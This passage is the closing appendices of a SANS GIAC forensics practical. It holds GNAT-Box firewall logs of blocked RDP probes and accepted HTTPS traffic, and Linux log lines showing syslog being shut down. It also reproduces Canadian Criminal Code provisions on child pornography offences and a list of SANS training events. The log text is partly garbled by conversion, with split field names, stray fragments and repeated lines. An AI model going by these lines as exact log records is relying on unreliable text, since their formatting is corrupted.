Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Block RAF (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2
Jun 29 15:10:22 192.168.1.1 id=firewall time="2003-06-29 15:10:22" fw="GNAT-Box" pri=6 flt_type=
RAF

flt_action=block msg="Received (24)" rule=24 proto=3389/tcp src=80.6.1.101.56 srccport=4918 dst=XXX.XXX.5.32 dstport=3389 interface=sis1 attribute="alarm" flags=0x2

RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35061 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:06 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35060 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 107 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35060 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 108 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35061 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 109 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35060 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=6 msg="FILT ER: 110 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:04 192.168.1.1 id=firewall time="2003-06-29 15:19:04" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35062 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 111 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35063 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 112 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35064 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 113 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=4 flt_type= RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srctype=35065 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:19:05 192.168.1.1 id=firewall time="2003-06-29 15:19:05" fw="GNAT-Box" pri=6 msg="FILT ER: 114 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=msgm
Logs showing syslog being shutdown on Linux 7.3 system

Jun 29 15:20:54 192.168.2.15 kernel: request_module[net-pf-14]: waitpid(16002, ...) failed, errno 1
Jun 29 15:20:57 192.168.2.15 syslogd[16004]: session opened for user root by (uid=0)
Jun 29 15:21:13 192.168.2.15 exiting on signal 15
Logs after logging shutdown on Linux 7.3 system

Comment: Firewall logs from log Server - After Syslog shutdown

Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 flt_type= OBF flt_action=pass msg="Received (3)" rule=3 proto=80/tcp src=192.168.2.15 srctpport=1061 dst=207 .66.155.21 dstport=80 interface=sis2 flags=0x2
Jun 29 15:20:33 192.168.1.1 id=firewall time="2003-06-29 15:20:33" fw="GNAT-Box" pri=6 msg="FILT ER: 10 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 13 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:06 192.168.1.1 id=firewall time="2003-06-29 15:22:06" fw="GNAT-Box" pri=6 msg="FILT ER: 14 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:12 192.168.1.1 id=firewall time="2003-06-29 15:22:12" fw="GNAT-Box" pri=6 msg="FILT ER: 16 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:30 192.168.1.1 id=firewall time="2003-06-29 15:22:30" fw="GNAT-Box" pri=6 msg="FILT ER: 22 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:42 192.168.1.1 id=firewall time="2003-06-29 15:22:42" fw="GNAT-Box" pri=6 msg="FILT ER: 26 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:45 192.168.1.1 id=firewall time="2003-06-29 15:22:45" fw="GNAT-Box" pri=6 msg="FILT ER: 27 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:22:54 192.168.1.1 id=firewall time="2003-06-29 15:22:54" fw="GNAT-Box" pri=6 msg="FILT ER: 30 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:00 192.168.1.1 id=firewall time="2003-06-29 15:23:00" fw="GNAT-Box" pri=6 msg="FILT ER: 32 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:03 192.168.1.1 id=firewall time="2003-06-29 15:23:03" fw="GNAT-Box" pri=6 msg="FILT ER: 33 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:06 192.168.1.1 id=firewall time="2003-06-29 15:23:06" fw="GNAT-Box" pri=6 msg="FILT ER: 34 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:09 192.168.1.1 id=firewall time="2003-06-29 15:23:09" fw="GNAT-Box" pri=6 msg="FILT ER: 35 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:12 192.168.1.1 id=firewall time="2003-06-29 15:23:12" fw="GNAT-Box" pri=6 msg="FILT ER: 36 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:15 192.168.1.1 id=firewall time="2003-06-29 15:23:15" fw="GNAT-Box" pri=6 msg="FILT ER: 37 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:18 192.168.1.1 id=firewall time="2003-06-29 15:23:18" fw="GNAT-Box" pri=6 msg="FILT ER: 38 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ER: 40 matches for 3: Accept debug 'DMZ' ALL log from ANY_IP to ANY_IP" type=mgt

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
ER: 142 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY/IP to lx type=mgmt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="FILT ACCEPT RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35093 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Er: 143 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY/IP to lx type=mgmt
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ACCEPT RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35092 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ACCEPT RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35091 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ACCEPT RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35090 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ACCEPT RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35089 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:24 192.168.1.1 id=firewall time="2003-06-29 15:23:24" fw="GNAT-Box" pri=6 msg="FILT ACCEPT RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35088 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 msg="FILT ER: 151 matches for 3: Accept warning 'EXTERNAL' ALL log from ANY_IP to lx" type=mgmt
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=4 flt_type=RAF flt_action=pass msg="Accept RAF (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35104 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:26 192.168.1.1 id=firewall time="2003-06-29 15:23:26" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35105 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:27 192.168.1.1 id=firewall time="2003-06-29 15:23:27" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35106 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:27 192.168.1.1 id=firewall time="2003-06-29 15:23:27" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35107 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:27 192.168.1.1 id=firewall time="2003-06-29 15:23:27" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35108 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:27 192.168.1.1 id=firewall time="2003-06-29 15:23:27" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35109 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:27 192.168.1.1 id=firewall time="2003-06-29 15:23:27" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35110 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:27 192.168.1.1 id=firewall time="2003-06-29 15:23:27" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35111 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:28 192.168.1.1 id=firewall time="2003-06-29 15:23:28" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35112 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:28 192.168.1.1 id=firewall time="2003-06-29 15:23:28" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35113 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:28 192.168.1.1 id=firewall time="2003-06-29 15:23:28" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35114 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2
Jun 29 15:23:28 192.168.1.1 id=firewall time="2003-06-29 15:23:28" fw="GNAT-Box" pri=6 flt_type=RAF flt_action=pass msg="Received (3)" rule=3 proto=443/tcp src=XXX.XXX.108.64 srcport=35115 dst=XXX.XXX.5.35 dstport=443 interface=sis1 flags=0x2

Appendix G


163.1 (1) In this section, "child pornography" means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

**Interpretation**

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

**Defence**

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

**Defences**

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

**Other provisions to apply**

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

**Warrant of seizure**

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.

Appendix H

References


# Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Geneva October 2020</td>
<td>Switzerland</td>
<td>Oct 26, 2020 - Oct 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cologne October 2020</td>
<td>Germany</td>
<td>Oct 26, 2020 - Oct 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS DFIRCON 2020</td>
<td>Miami, FL</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London November 2020</td>
<td>United Kingdom</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Sydney 2020 - Live Online</td>
<td>Sydney, Australia</td>
<td>Nov 02, 2020 - Nov 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS South by Southeast Asia Nov 2020</td>
<td>Singapore</td>
<td>Nov 02, 2020 - Nov 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Paris November 2020</td>
<td>France</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Sydney 2020</td>
<td>Sydney, Australia</td>
<td>Nov 02, 2020 - Nov 14, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Gulf Region 2020</td>
<td>Dubai, United Arab Emirates</td>
<td>Nov 07, 2020 - Nov 26, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>APAC ICS Summit &amp; Training 2020 - Live Online</td>
<td>Singapore, Singapore</td>
<td>Nov 13, 2020 - Nov 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam November 2020</td>
<td>Netherlands</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 Rome 2020 (in Italian)</td>
<td>Rome, Italy</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Atlanta Fall 2020</td>
<td>Atlanta, GA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Diego Fall 2020</td>
<td>San Diego, CA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 (In Spanish) Online 2020</td>
<td>United Arab Emirates</td>
<td>Nov 23, 2020 - Dec 04, 2020</td>
<td>vLive</td>
</tr>
<tr>
<td>SANS Frankfurt November 2020</td>
<td>Germany</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Francisco Winter 2020</td>
<td>San Francisco, CA</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Tokyo December Live Online 2020</td>
<td>Japan</td>
<td>Nov 30, 2020 - Dec 11, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Austin Fall 2020</td>
<td>Austin, TX</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Wellington 2020 - Live Online</td>
<td>Wellington, New Zealand</td>
<td>Nov 30, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London December 2020</td>
<td>United Kingdom</td>
<td>Dec 07, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Paris December 2020</td>
<td>France</td>
<td>Dec 07, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Nashville 2020</td>
<td>Nashville, TN</td>
<td>Dec 07, 2020 - Dec 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Defense Initiative 2020</td>
<td>Washington, DC</td>
<td>Dec 14, 2020 - Dec 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Threat Hunting Europe 2021</td>
<td>United Kingdom</td>
<td>Jan 11, 2021 - Jan 16, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security East 2021</td>
<td>New Orleans, LA</td>
<td>Jan 11, 2021 - Jan 16, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Security Central: Jan 2021</td>
<td>Jan 18, 2021 - Jan 23, 2021</td>
<td>CyberCon</td>
<td></td>
</tr>
<tr>
<td>SANS Tokyo January 2021</td>
<td>Tokyo, Japan</td>
<td>Jan 18, 2021 - Jan 23, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security Fundamentals 2021</td>
<td>Netherlands</td>
<td>Jan 18, 2021 - Jan 29, 2021</td>
<td>CyberCon</td>
</tr>
</tbody>
</table>